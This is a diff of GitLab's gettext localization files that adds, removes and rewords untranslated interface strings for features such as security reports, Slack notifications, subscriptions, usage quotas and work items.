@@ -37447,9 +38116,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37669,9 +38335,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37699,6 +38362,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37729,9 +38395,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37750,9 +38413,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38533,6 +39193,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38749,9 +39412,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38878,9 +39538,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38911,6 +39568,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38938,10 +39601,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38953,22 +39616,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39466,6 +40123,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39661,15 +40324,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -40159,18 +40822,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40387,6 +41068,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40405,7 +41089,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40426,9 +41110,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40918,15 +41599,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40957,6 +41629,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -41227,9 +41914,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41485,6 +42169,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41635,6 +42322,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41839,6 +42529,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -42187,6 +42880,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42289,21 +42985,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42526,6 +43228,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42601,9 +43306,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42808,7 +43510,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -43252,6 +43954,12 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43468,7 +44176,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43765,24 +44473,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43888,15 +44584,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -44068,6 +44761,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -44110,6 +44806,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44290,6 +44989,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44329,6 +45031,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44398,6 +45103,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44560,15 +45268,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44599,15 +45301,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44665,24 +45361,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44710,9 +45394,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44731,15 +45412,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44896,6 +45571,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44953,6 +45631,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -45127,9 +45811,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -45196,10 +45877,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45367,10 +46048,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45562,6 +46240,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45574,9 +46255,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45646,6 +46324,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45742,6 +46423,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45775,6 +46459,9 @@ msgstr[2] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45787,6 +46474,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45811,9 +46501,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46546,10 +47233,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46999,9 +47686,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -47089,6 +47788,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -47098,7 +47800,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -47131,7 +47833,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -47185,6 +47887,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -47206,6 +47914,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47311,6 +48025,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47443,9 +48160,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47536,6 +48250,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47575,9 +48292,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47593,7 +48307,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47686,7 +48400,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47716,6 +48430,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47833,6 +48550,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47986,8 +48706,11 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "YouTube"
msgstr ""
@@ -48226,6 +48949,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -48253,7 +48979,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48331,6 +49057,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48535,6 +49264,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48775,10 +49507,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48934,9 +49669,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49429,9 +50161,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49951,6 +50680,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -50038,12 +50770,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50464,6 +51190,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/hu_HU/gitlab.po b/locale/hu_HU/gitlab.po
index ca6b0ac074d..d4aecfcb469 100644
--- a/locale/hu_HU/gitlab.po
+++ b/locale/hu_HU/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: hu\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:40\n"
+"PO-Revision-Date: 2023-01-10 06:44\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
